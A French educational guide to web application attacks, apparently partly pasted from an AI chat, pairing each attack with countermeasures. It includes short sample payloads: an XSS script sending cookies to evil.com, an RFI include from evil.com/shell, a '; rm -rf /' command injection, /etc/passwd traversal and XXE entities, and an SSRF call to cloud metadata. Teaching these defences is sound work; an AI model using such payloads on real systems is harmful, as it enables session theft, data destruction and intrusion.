Attaques Applicatives

Les attaques applicatives ciblent directement les programmes (sites web, API, logiciels).
Elles exploitent des erreurs de développement ou de configuration pour détourner la logique, exécuter du code ou accéder à des données sensibles.

Contrairement aux attaques réseau, qui visent le transport des données, ou aux attaques systèmes, qui visent l’OS et l’infrastructure, les attaques applicatives s’appuient sur les failles laissées dans le code métier ou les frameworks utilisés.

Elles incluent :

  • les injections (SQL, commande, XXE, dĂ©sĂ©rialisation),
  • les attaques cĂ´tĂ© client (XSS, CSRF),
  • les abus de logique mĂ©tier (IDOR, Mass Assignment, flaws business),
  • l’exploitation de failles techniques (buffer overflow, RCE, path traversal),
  • et les abus spĂ©cifiques aux technologies modernes (GraphQL, JWT, SSRF, API abuse).

Ces attaques sont redoutables car elles exploitent des comportements “normaux” de l’application en y insérant des entrées malveillantes. Souvent, elles passent inaperçues si la validation des entrées, la gestion des sessions et les contrôles d’accès ne sont pas rigoureusement appliqués.


1. Injection SQL (SQLi)

1. Situation de départ

Une application web propose un formulaire de connexion.
Le code construit une requête SQL à partir des données saisies sans filtrage.

2. Ce que fait l’attaquant

Il saisit dans le champ username une valeur spéciale :
' OR '1'='1
La requĂŞte devient toujours vraie et retourne tous les utilisateurs.

3. Conséquence

  • Contournement d’authentification.
  • Extraction ou modification de donnĂ©es sensibles.
  • Destruction de tables si l’attaquant injecte un DROP TABLE.

4. Pourquoi c’est possible

  • Les entrĂ©es utilisateur sont directement insĂ©rĂ©es dans la requĂŞte SQL.
  • Pas de sĂ©paration entre code SQL et donnĂ©es.

5. Contre-mesures

✅ Requêtes préparées (paramétrées)

  • Comment ça marche : la requĂŞte SQL est compilĂ©e avec des “placeholders” (? ou :param). Les donnĂ©es sont envoyĂ©es sĂ©parĂ©ment.
  • Pourquoi ça protège : mĂŞme si l’utilisateur entre du SQL malveillant, il est traitĂ© comme une simple donnĂ©e, pas comme du code.

âś… ORM ou Query Builder fiable

  • Comment ça marche : gĂ©nère les requĂŞtes en sĂ©parant toujours les donnĂ©es des instructions.
  • Pourquoi ça protège : rĂ©duit le risque de concatĂ©nation dangereuse.

✅ Validation et échapper les entrées

  • VĂ©rifier les types attendus (ex. un id doit ĂŞtre un entier).
  • Échapper les caractères spĂ©ciaux.
  • Pourquoi ça protège : limite les possibilitĂ©s d’injection non prĂ©vues.

2. Cross-Site Scripting (XSS)

1. Situation de départ

Une application affiche des commentaires d’utilisateurs sans filtrage.

2. Ce que fait l’attaquant

Il poste un commentaire :
<script>document.location='http://evil.com/steal?c='+document.cookie</script>

3. Conséquence

  • Le navigateur des victimes exĂ©cute le script.
  • Vol de cookies/session.
  • Redirection vers des pages malveillantes.

4. Pourquoi c’est possible

  • Le navigateur n’a aucun moyen de savoir si un script affichĂ© vient du site ou d’un utilisateur malveillant.
  • L’application ne filtre pas ou n’échappe pas les entrĂ©es.

5. Contre-mesures

✅ Échappement du HTML (Output Encoding)

  • Comment ça marche : transformer < en &lt;, > en &gt;, etc.
  • Pourquoi ça protège : le navigateur n’exĂ©cute pas du code mais affiche du texte inoffensif.

âś… CSP (Content Security Policy)

  • Comment ça marche : indique au navigateur quelles sources de scripts sont autorisĂ©es (script-src 'self').
  • Pourquoi ça protège : mĂŞme si un script injectĂ© apparaĂ®t, le navigateur le bloque.

âś… HttpOnly sur les cookies

  • Comment ça marche : flag HttpOnly empĂŞche JavaScript d’accĂ©der aux cookies.
  • Pourquoi ça protège : rĂ©duit l’impact d’un XSS sur le vol de session.

3. Cross-Site Request Forgery (CSRF)

1. Situation de départ

Un utilisateur est connecté à son compte bancaire sur banque.fr.
Le site permet un virement via une requĂŞte POST.

2. Ce que fait l’attaquant

Il envoie un mail piégé contenant :
<img src="https://banque.fr/virement?montant=1000&vers=compteAttaquant">

3. Conséquence

  • Le navigateur de la victime envoie la requĂŞte avec son cookie de session.
  • La banque exĂ©cute le virement comme si c’était la victime.

4. Pourquoi c’est possible

  • Les navigateurs ajoutent automatiquement les cookies aux requĂŞtes.
  • Le site ne vĂ©rifie pas si la requĂŞte a vraiment Ă©tĂ© initiĂ©e par l’utilisateur.

5. Contre-mesures

âś… Jetons CSRF (anti-CSRF tokens)

  • Comment ça marche : chaque formulaire contient un token alĂ©atoire unique stockĂ© en session.
  • Pourquoi ça protège : l’attaquant ne peut pas deviner ce token → sa requĂŞte est rejetĂ©e.

âś… SameSite cookies

  • Comment ça marche : flag SameSite=Lax ou Strict sur les cookies empĂŞche leur envoi depuis un site externe.
  • Pourquoi ça protège : les requĂŞtes forgĂ©es depuis evil.com ne transportent pas le cookie de session.

✅ Vérification de l’origine

  • Comment ça marche : le serveur vĂ©rifie l’en-tĂŞte Origin ou Referer.
  • Pourquoi ça protège : les requĂŞtes lĂ©gitimes viennent du site, pas d’un domaine tiers.

4. Remote Code Execution (RCE)

1. Situation de départ

Une application permet d’envoyer des fichiers ou exécute des commandes système.

2. Ce que fait l’attaquant

Il envoie un fichier PHP malveillant (webshell) ou injecte une commande dans un champ (; rm -rf /).

3. Conséquence

  • ExĂ©cution de code arbitraire sur le serveur.
  • ContrĂ´le total de la machine.

4. Pourquoi c’est possible

  • EntrĂ©es utilisateur passĂ©es directement Ă  une fonction d’exĂ©cution (eval, exec, system).
  • TĂ©lĂ©versement de fichiers sans contrĂ´le strict.

5. Contre-mesures

✅ Éviter les appels système directs

  • Comment ça marche : ne jamais concatĂ©ner des entrĂ©es utilisateur dans une commande système.
  • Pourquoi ça protège : supprime la possibilitĂ© d’injecter du code.

✅ Validation stricte des fichiers uploadés

  • VĂ©rifier extension, type MIME, scanner antivirus.
  • Stocker hors du rĂ©pertoire web.
  • Pourquoi ça protège : Ă©vite l’exĂ©cution de scripts malveillants.

✅ Exécution dans un bac à sable (sandbox)

  • Conteneurs, chroot, AppArmor/SELinux.
  • Pourquoi ça protège : mĂŞme si l’attaquant injecte du code, il reste confinĂ© avec des droits limitĂ©s.

5. Buffer Overflow

1. Situation de départ

Une application en C reçoit des données en entrée (ex. un champ nom d’utilisateur).

2. Ce que fait l’attaquant

Il envoie une chaîne plus longue que le buffer prévu.
Cela écrase la mémoire voisine et peut injecter du code exécutable.

3. Conséquence

  • Crash de l’application.
  • ExĂ©cution de code arbitraire.

4. Pourquoi c’est possible

  • Pas de vĂ©rification de la taille de l’entrĂ©e.
  • Utilisation de fonctions dangereuses (gets, strcpy).

5. Contre-mesures

✅ Vérification de la taille des entrées

  • Utiliser strncpy, fgets, etc.
  • Pourquoi ça protège : empĂŞche l’écriture au-delĂ  de la mĂ©moire allouĂ©e.

✅ Canaries / protections mémoire

  • Le compilateur ajoute une valeur spĂ©ciale entre la pile et les donnĂ©es.
  • Pourquoi ça protège : si l’attaquant Ă©crase cette valeur, le programme dĂ©tecte l’intrusion et s’arrĂŞte.

âś… ASLR (Address Space Layout Randomization)

  • L’adresse mĂ©moire des segments change Ă  chaque exĂ©cution.
  • Pourquoi ça protège : rend très difficile pour l’attaquant de prĂ©dire oĂą injecter son code.

✅ Exécution non exécutable (NX bit)

  • Marque certaines zones mĂ©moire comme non exĂ©cutables.
  • Pourquoi ça protège : mĂŞme si l’attaquant injecte du code, il ne peut pas l’exĂ©cuter.

6. Path Traversal (Directory Traversal)

1. Situation de départ

Un site permet de télécharger un fichier PDF via une URL comme :
https://site.com/download?file=rapport.pdf

2. Ce que fait l’attaquant

Il modifie le paramètre en :
file=../../../../etc/passwd
Le serveur ouvre ce chemin, pensant que c’est un fichier autorisé.

3. Conséquence

  • Lecture de fichiers sensibles (mots de passe, configurations).
  • Accès Ă  des donnĂ©es internes (logs, clĂ©s privĂ©es).

4. Pourquoi c’est possible

  • L’application utilise directement l’entrĂ©e utilisateur comme chemin d’accès.
  • Pas de validation ni restriction des fichiers accessibles.

5. Contre-mesures

âś… Validation stricte des chemins

  • Comparer le fichier demandĂ© avec une liste blanche d’extensions/autorisations.
  • Pourquoi ça protège : seules les ressources prĂ©vues par le dĂ©veloppeur sont accessibles.

✅ Répertoires dédiés (jail/chroot)

  • Forcer l’application Ă  n’accĂ©der qu’à un dossier spĂ©cifique.
  • Pourquoi ça protège : mĂŞme si l’attaquant tente un ../, il ne peut pas sortir de l’espace prĂ©vu.

âś… Normalisation du chemin

  • RĂ©soudre les ../ avant l’accès au fichier et vĂ©rifier qu’il reste dans le dossier autorisĂ©.
  • Pourquoi ça protège : Ă©vite l’évasion de rĂ©pertoire.

7. File Inclusion (LFI / RFI)

1. Situation de départ

Un site en PHP inclut dynamiquement des fichiers :
include($_GET['page'].".php");

2. Ce que fait l’attaquant

  • Avec LFI : il demande ?page=../../../../etc/passwd pour afficher le contenu du fichier.
  • Avec RFI : il fournit une URL externe (?page=http://evil.com/shell) → exĂ©cution d’un script distant.

3. Conséquence

  • Lecture de fichiers sensibles.
  • ExĂ©cution de code distant (prise de contrĂ´le du serveur).

4. Pourquoi c’est possible

  • Utilisation de l’entrĂ©e utilisateur sans contrĂ´le dans une fonction include/require.

5. Contre-mesures

✅ Désactiver allow_url_include (PHP)

  • Bloque les inclusions de fichiers distants.
  • Pourquoi ça protège : empĂŞche un attaquant de charger du code externe.

âś… Liste blanche de fichiers

  • N’autoriser que des pages prĂ©dĂ©finies (about.php, contact.php).
  • Pourquoi ça protège : impossible d’inclure des fichiers arbitraires.

✅ Répertoires séparés

  • Mettre les fichiers inclus dans un dossier spĂ©cifique non accessible Ă  l’attaquant.
  • Pourquoi ça protège : rĂ©duit l’exposition de fichiers système.

8. XXE (XML External Entity)

1. Situation de départ

Une API accepte du XML et utilise un parseur vulnérable.

2. Ce que fait l’attaquant

Il envoie un XML malveillant :

<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<request>
  <data>&xxe;</data>
</request>

3. Conséquence

  • Lecture de fichiers locaux (/etc/passwd).
  • RequĂŞtes vers des serveurs internes (SSRF).

4. Pourquoi c’est possible

  • Les parseurs XML activent par dĂ©faut la rĂ©solution d’entitĂ©s externes.

5. Contre-mesures

✅ Désactiver la résolution d’entités externes

  • Configurer le parseur pour ignorer les <!ENTITY>.
  • Pourquoi ça protège : empĂŞche l’inclusion de fichiers locaux ou distants.

✅ Utiliser des parseurs sécurisés

  • Ex. defusedxml en Python.
  • Pourquoi ça protège : ces parseurs bloquent les entitĂ©s dangereuses par dĂ©faut.

âś… Validation stricte du XML

  • N’accepter que le schĂ©ma attendu (XSD).
  • Pourquoi ça protège : rejette les documents mal formĂ©s ou inattendus.

9. Insecure Deserialization

1. Situation de départ

Une application PHP stocke des objets sérialisés dans un cookie :
cookie=O:4:"User":{s:4:"role";s:5:"admin";}

2. Ce que fait l’attaquant

Il modifie la valeur du cookie et le renvoie :
role=admin
À la désérialisation, l’objet donne des privilèges d’administrateur.

3. Conséquence

  • Escalade de privilèges.
  • ExĂ©cution de code arbitraire si l’application charge automatiquement des mĂ©thodes Ă  la dĂ©sĂ©rialisation.

4. Pourquoi c’est possible

  • Les donnĂ©es sĂ©rialisĂ©es sont considĂ©rĂ©es comme fiables.
  • Certaines classes dĂ©clenchent du code Ă  la dĂ©sĂ©rialisation (__wakeup, __destruct).

5. Contre-mesures

✅ Ne pas désérialiser des données non fiables

  • PrĂ©fĂ©rer des formats simples (JSON).
  • Pourquoi ça protège : JSON ne dĂ©clenche pas de code Ă  l’interprĂ©tation.

✅ Signer/chiffrer les données sérialisées

  • Ajouter une signature HMAC.
  • Pourquoi ça protège : l’attaquant ne peut pas modifier le contenu sans casser la signature.

✅ Limiter les classes désérialisables

  • Restreindre la liste des classes utilisables.
  • Pourquoi ça protège : empĂŞche l’exĂ©cution de mĂ©thodes dangereuses.

10. Command Injection

1. Situation de départ

Une application appelle un programme système avec des entrées utilisateur :

system("ping " . $_GET['host']);

2. Ce que fait l’attaquant

Il fournit :
host=8.8.8.8; rm -rf /
La commande exécutée devient :
ping 8.8.8.8; rm -rf /

3. Conséquence

  • ExĂ©cution de commandes arbitraires.
  • ContrĂ´le total de la machine.

4. Pourquoi c’est possible

  • Les entrĂ©es ne sont pas validĂ©es.
  • La commande système est construite par concatĂ©nation de chaĂ®nes.

5. Contre-mesures

✅ Ne pas concaténer les entrées

  • Utiliser des fonctions d’API (ex. ping via une lib rĂ©seau).
  • Pourquoi ça protège : pas de passage par le shell → pas d’injection possible.

✅ Échapper correctement les arguments

  • Utiliser escapeshellarg() ou Ă©quivalents.
  • Pourquoi ça protège : les caractères dangereux sont neutralisĂ©s.

✅ Exécution dans un environnement restreint

  • Conteneurs ou sandbox avec droits limitĂ©s.
  • Pourquoi ça protège : mĂŞme si une injection passe, elle a un impact limitĂ©.

Parfait 🚀 ! On passe au niveau supérieur avec les attaques applicatives avancées.
Toujours dans le mĂŞme format narratif :

  1. Situation de départ

  2. Ce que fait l’attaquant

  3. Conséquence

  4. Pourquoi c’est possible

  5. Contre-mesures (explication détaillée)


11. SSRF (Server-Side Request Forgery)

1. Situation de départ

Une application propose de télécharger une image externe via une URL :
https://site.com/fetch?url=http://exemple.com/chat.png

2. Ce que fait l’attaquant

Il remplace l’URL par une ressource interne :
url=http://127.0.0.1:8080/admin
Le serveur fait la requĂŞte Ă  sa place.

3. Conséquence

  • Accès Ă  des services internes (intranet, bases de donnĂ©es).
  • Contournement de pare-feux.
  • Exploitation de services cloud sensibles (AWS metadata : http://169.254.169.254).

4. Pourquoi c’est possible

  • L’application fait confiance aux URLs fournies.
  • Pas de restriction sur les adresses cibles.

5. Contre-mesures

✅ Liste blanche d’URLs autorisées

  • Autoriser uniquement certains domaines/schĂ©mas (https://cdn.site.com).
  • Pourquoi ça protège : empĂŞche l’accès Ă  des ressources internes.

✅ Validation stricte de l’URL

  • RĂ©solution DNS et vĂ©rification que l’IP finale est lĂ©gitime.
  • Pourquoi ça protège : Ă©vite les contournements via redirections.

âś… Isolation du composant fetcher

  • ExĂ©cuter les requĂŞtes dans un conteneur sans accès rĂ©seau interne.
  • Pourquoi ça protège : mĂŞme si SSRF rĂ©ussi, les ressources critiques restent inaccessibles.

12. IDOR (Insecure Direct Object Reference)

1. Situation de départ

Une API permet d’accéder à un profil via :
https://site.com/api/user?id=123

2. Ce que fait l’attaquant

Il change l’ID en :
id=124
et accède au profil d’un autre utilisateur.

3. Conséquence

  • Vol d’informations personnelles.
  • Accès ou modification de donnĂ©es sensibles (documents, factures).

4. Pourquoi c’est possible

  • L’application ne vĂ©rifie pas que l’utilisateur a le droit d’accĂ©der Ă  l’objet demandĂ©.
  • L’identifiant est prĂ©visible.

5. Contre-mesures

✅ Vérification des permissions côté serveur

  • Toujours vĂ©rifier : “cet utilisateur a-t-il le droit d’accĂ©der Ă  cette ressource ?”.
  • Pourquoi ça protège : empĂŞche qu’un simple changement d’ID donne accès Ă  d’autres donnĂ©es.

✅ Identifiants imprévisibles

  • Utiliser des UUID ou tokens alĂ©atoires au lieu d’IDs incrĂ©mentaux.
  • Pourquoi ça protège : difficile de deviner les identifiants d’autres utilisateurs.

✅ Contrôles d’accès centralisés

  • Mettre en place une couche d’authZ (RBAC, ABAC).
  • Pourquoi ça protège : rĂ©duit les oublis de vĂ©rification dans le code applicatif.

13. Broken Authentication

1. Situation de départ

Un site utilise une authentification basique avec des mots de passe faibles et sans protection.

2. Ce que fait l’attaquant

  • Essaye des mots de passe communs (bruteforce).
  • Exploite un stockage en clair ou un hachage faible (MD5).
  • RĂ©utilise des identifiants fuitĂ©s d’autres sites.

3. Conséquence

  • Compromission de comptes utilisateurs.
  • Accès Ă  des comptes administrateurs.

4. Pourquoi c’est possible

  • Pas de politiques de mot de passe.
  • Pas de protection contre le bruteforce.
  • Pas d’authentification multi-facteur.

5. Contre-mesures

âś… Hashing fort des mots de passe

  • Utiliser bcrypt, Argon2 avec salage.
  • Pourquoi ça protège : rend impossible de retrouver les mots de passe en cas de fuite.

âś… Limitation des tentatives de connexion

  • Blocage temporaire ou captcha après plusieurs Ă©checs.
  • Pourquoi ça protège : empĂŞche le bruteforce automatique.

âś… MFA (Multi-Factor Authentication)

  • Ajouter un second facteur (TOTP, SMS, clĂ© FIDO2).
  • Pourquoi ça protège : mĂŞme si le mot de passe est compromis, l’accès reste bloquĂ©.

14. Mass Assignment

1. Situation de départ

Une API permet de mettre Ă  jour un profil via un JSON :

{
  "name": "Alice",
  "email": "alice@example.com"
}

2. Ce que fait l’attaquant

Il ajoute un champ non prévu :

{
  "name": "Attacker",
  "role": "admin"
}

3. Conséquence

  • Modification de champs sensibles (rĂ´le, droits).
  • Escalade de privilèges.

4. Pourquoi c’est possible

  • Le framework associe automatiquement tous les champs reçus aux propriĂ©tĂ©s de l’objet.
  • Pas de filtrage des champs modifiables.

5. Contre-mesures

✅ Liste blanche de champs autorisés

  • SpĂ©cifier explicitement quels champs sont modifiables (name, email).
  • Pourquoi ça protège : les champs sensibles comme role sont ignorĂ©s.

âś… DTOs (Data Transfer Objects)

  • Passer par des objets intermĂ©diaires dĂ©finissant les champs attendus.
  • Pourquoi ça protège : impossible d’injecter des propriĂ©tĂ©s non prĂ©vues.

✅ Contrôles d’accès

  • VĂ©rifier que l’utilisateur a bien le droit de modifier chaque champ.
  • Pourquoi ça protège : mĂŞme si un champ passe, la modification est bloquĂ©e par manque de permission.

15. Business Logic Flaws (failles de logique métier)

1. Situation de départ

Un site e-commerce applique une remise de 10% pour toute commande supérieure à 100€.
La logique métier est censée limiter les abus.

2. Ce que fait l’attaquant

  • Il manipule la requĂŞte HTTP pour commander 10 articles, applique la remise, puis retire 9 articles avant paiement.
  • Le système conserve la remise alors que la condition n’est plus remplie.

3. Conséquence

  • Fraude (rĂ©duction ou gratuitĂ©).
  • Contournement de règles de sĂ©curitĂ© internes.

4. Pourquoi c’est possible

  • Les dĂ©veloppeurs supposent que les utilisateurs suivent le “chemin normal”.
  • Pas de vĂ©rification systĂ©matique cĂ´tĂ© serveur de la cohĂ©rence des Ă©tapes.

5. Contre-mesures

✅ Vérifications côté serveur

  • Recalculer les remises et règles mĂ©tier Ă  chaque Ă©tape.
  • Pourquoi ça protège : empĂŞche les manipulations cĂ´tĂ© client de modifier les règles.

✅ Tests de logique métier

  • Inclure des cas d’abus dans les tests (ex. suppression d’articles après remise).
  • Pourquoi ça protège : dĂ©tecte les scĂ©narios “hors flux prĂ©vu”.

✅ Revue de sécurité fonctionnelle

  • Audit spĂ©cifique de la logique mĂ©tier (pas seulement technique).
  • Pourquoi ça protège : identifie des abus invisibles pour des scans automatisĂ©s.

16. Race Conditions (conditions de concurrence)

1. Situation de départ

Une application bancaire limite un retrait à 100€ maximum par jour.

2. Ce que fait l’attaquant

  • Il envoie 2 requĂŞtes de retrait de 100€ exactement en mĂŞme temps.
  • Les deux passent la vĂ©rification avant que le solde soit mis Ă  jour.

3. Conséquence

  • DĂ©passement des limites.
  • Transactions incohĂ©rentes (double utilisation d’un coupon, d’un code promo, etc.).

4. Pourquoi c’est possible

  • L’application ne gère pas correctement les opĂ©rations concurrentes.
  • Pas de verrouillage de transaction au niveau base de donnĂ©es.

5. Contre-mesures

âś… Transactions atomiques en base

  • Utiliser BEGIN TRANSACTION avec verrouillage des lignes.
  • Pourquoi ça protège : les deux opĂ©rations concurrentes ne passent pas en mĂŞme temps.

âś… Locks applicatifs

  • Mettre des verrous logiques (mutex) cĂ´tĂ© application.
  • Pourquoi ça protège : une seule opĂ©ration critique peut ĂŞtre exĂ©cutĂ©e Ă  la fois.

âś… ContrĂ´les post-traitement

  • VĂ©rifier après coup si des incohĂ©rences apparaissent.
  • Pourquoi ça protège : permet de dĂ©tecter des abus mĂŞme si la concurrence a contournĂ© la logique.

17. GraphQL Misconfigurations

1. Situation de départ

Une API GraphQL est exposée pour permettre aux clients d’interroger les données.

2. Ce que fait l’attaquant

  • Il utilise la fonctionnalitĂ© __schema (introspection) pour dĂ©couvrir toute l’API.
  • Il envoie des requĂŞtes profondes ou rĂ©cursives pour saturer le serveur.

3. Conséquence

  • Divulgation de schĂ©ma interne.
  • Denial of Service via requĂŞtes trop coĂ»teuses.

4. Pourquoi c’est possible

  • Introspection activĂ©e en production.
  • Pas de limite de profondeur ou de complexitĂ© des requĂŞtes.

5. Contre-mesures

✅ Désactiver l’introspection en prod

  • Garder __schema uniquement en dev/test.
  • Pourquoi ça protège : rĂ©duit l’exposition du schĂ©ma complet.

âś… Limiter la profondeur des requĂŞtes

  • Configurer un maximum (ex. 5 niveaux).
  • Pourquoi ça protège : empĂŞche les requĂŞtes rĂ©cursives ou trop complexes.

✅ Contrôler la complexité

  • Assigner un “coĂ»t” Ă  chaque champ et refuser les requĂŞtes trop lourdes.
  • Pourquoi ça protège : empĂŞche l’abus de ressources serveur.

18. JWT Attacks (JSON Web Token)

1. Situation de départ

Une API utilise des JWT pour gérer l’authentification.
Exemple :

{
  "user": "alice",
  "role": "user"
}

2. Ce que fait l’attaquant

  • Il modifie role en "admin" dans le JWT.
  • Si la signature n’est pas vĂ©rifiĂ©e correctement, le serveur accepte le jeton.
  • Exploit “alg=none” : certains serveurs acceptent un JWT sans signature.

3. Conséquence

  • Escalade de privilèges.
  • Accès Ă  des fonctions rĂ©servĂ©es aux admins.

4. Pourquoi c’est possible

  • VĂ©rification incorrecte de la signature JWT.
  • Utilisation de clĂ©s faibles ou mal gĂ©rĂ©es.

5. Contre-mesures

✅ Vérification stricte de la signature

  • Toujours valider l’algorithme et la clĂ©.
  • Pourquoi ça protège : empĂŞche d’accepter un jeton modifiĂ©.

✅ Rotation et gestion des clés

  • Stocker les clĂ©s dans un KMS (Key Management System).
  • Pourquoi ça protège : rĂ©duit le risque de fuite et limite la durĂ©e d’exploitation d’une clĂ© compromise.

✅ Limiter la durée de vie des tokens

  • Expiration courte (exp de quelques minutes/heures).
  • Pourquoi ça protège : mĂŞme si un token est volĂ©, il devient vite inutilisable.

19. API Abuse / Rate Limiting Bypass

1. Situation de départ

Une API REST fournit des ressources (ex. /api/messages).
Elle applique une limite de 100 requĂŞtes/minute par utilisateur.

2. Ce que fait l’attaquant

  • Il change son User-Agent ou son IP via un proxy/tor.
  • Il ouvre des milliers de connexions parallèles.
  • Il contourne ainsi les protections.

3. Conséquence

  • Extraction massive de donnĂ©es (scraping).
  • Denial of Service pour les autres utilisateurs.

4. Pourquoi c’est possible

  • Le rate limiting est basĂ© sur un seul critère (IP ou user).
  • Pas de protection globale.

5. Contre-mesures

✅ Rate limiting multi-critères

  • BasĂ© sur IP, utilisateur, User-Agent, session, etc.
  • Pourquoi ça protège : rend plus difficile le contournement par simple proxy.

✅ Détection comportementale

  • Analyser les patterns de requĂŞtes (frĂ©quence, distribution).
  • Pourquoi ça protège : diffĂ©rencie un utilisateur normal d’un bot.

âś… Captcha ou proof-of-work

  • Forcer une action humaine après X requĂŞtes.
  • Pourquoi ça protège : dĂ©courage les bots automatisĂ©s.

Conclusion

Les attaques applicatives montrent que la sécurité doit être intégrée dès le développement :
tester la logique métier, valider strictement les entrées, séparer code et données, limiter les permissions, et appliquer le principe de défense en profondeur.

Trois enseignements majeurs :

  • Ne jamais faire confiance aux entrĂ©es utilisateur → toute donnĂ©e reçue doit ĂŞtre validĂ©e, filtrĂ©e, Ă©chappĂ©e.
  • ProtĂ©ger l’authentification et la session → MFA, cookies sĂ©curisĂ©s, tokens correctement signĂ©s.
  • Auditer la logique mĂ©tier → certaines failles (ex. remise commerciale, abus d’API) ne sont pas techniques mais fonctionnelles.

En résumé : une application vulnérable ouvre une porte directe aux données sensibles et aux systèmes critiques. La sécurité applicative n’est pas un ajout optionnel mais un élément fondamental du cycle de vie logiciel.